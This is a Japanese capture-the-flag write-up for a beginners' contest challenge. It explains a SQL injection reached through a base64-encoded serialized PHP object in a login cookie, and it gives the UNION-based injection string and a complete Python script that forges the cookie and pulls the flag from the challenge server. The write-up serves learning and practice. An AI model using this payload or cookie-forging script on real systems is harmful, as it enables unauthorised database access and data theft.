フラッグは flags テーブルの中にあるよ。ゲットできるかな?
ザーッとソースコードを読むと、database.phpに一箇所だけSQLインジェクションできそうな箇所を見つけた
// database.php Ln:65
$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
$result = $this->_con->query($sql);
対象のデータはflags
テーブルの中に格納されている。
まず、ここの箇所の$user->name
に任意の文字列を持ってこなければいけない。
この関数findUserByName
は、user.php
のlogin
関数で呼ばれている。
この関数はページが開かれるたびに呼ばれ、ユーザーのログイン状況などを確認している。
COOKIEの"__CRED"にID,ユーザー名,パスワードハッシュの情報をシリアライズしたものをbase64エンコードした文字列が入っている前提で、関数内ではそのクッキーをデコード・デシリアライズしfindUserByName
関数にユーザー名を渡している。
つまり、SQLインジェクション文字列をnameの中身としてシリアライズ・エンコードしたものをクッキーに入れればいい。
SQLインジェクションした文字列がこれ。
' or password_hash = '$2y$10$VqhKXcPuTjZhrVrMopB0WeR3fascDS85f.ZjeThlzURk0BvLI4XJ2' UNION select body, body, '$2y$10$VqhKXcPuTjZhrVrMopB0WeR3fascDS85f.ZjeThlzURk0BvLI4XJ2' from flags order by id desc limit 1 --
PHPの仕様を知らないので理由は不明だが、この$this->_con->query($sql);
のクエリの飛ばし方を使うと1クエリ分しか実行できない。本当は
'; SELECT '', body, '$2y$10$VqhKXcPuTjZhrVrMopB0WeR3fascDS85f.ZjeThlzURk0BvLI4XJ2' from flags; -
みたいな方法でインジェクションしたかったが、できなかったのでこのようにUNIONとdescで無理やりflagsを参照している。
攻撃用のスクリプト
import base64
import requests
cookies = {}
headers = {}
# Injection string
name = """' or password_hash = '$2y$10$VqhKXcPuTjZhrVrMopB0WeR3fascDS85f.ZjeThlzURk0BvLI4XJ2' UNION select body, body, '$2y$10$VqhKXcPuTjZhrVrMopB0WeR3fascDS85f.ZjeThlzURk0BvLI4XJ2' from flags order by id desc limit 1 -- """
# serialized body
body = """O:4:"User":3:{s:2:"id";s:3:"274";s:4:"name";s:len:"BBBBBB";s:13:"password_hash";s:60:"$2y$10$VqhKXcPuTjZhrVrMopB0WeR3fascDS85f.ZjeThlzURk0BvLI4XJ2";}"""
# replace injection payload and length
body = body.replace('len', str(len(name)))
body = body.replace('BBBBBB', name)
# encode and store
cookies['__CRED'] = base64.b64encode(body.encode('utf-8')).decode('utf-8')
# send
response = requests.get('https://serial.quals.beginners.seccon.jp/', cookies=cookies, headers=headers, allow_redirects=False)
print(base64.b64decode(response.cookies['__CRED'].replace('%3D', '=')))
ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}
database.php
を見る限り、SQLインジェクション脆弱性のあるfindUserByName
と脆弱性のないfindUserByNameNew
の2つが存在してる。
せっかく@deprecated
がついてるのに、無視して使ったり新しいバージョンに移行しなかったりしたせいでこうなっちゃった、みたいなパターンなんでしょうか。。
deprecatedと言われたら、ちゃんと新しいバージョンや代替のものに切り替えることを志します。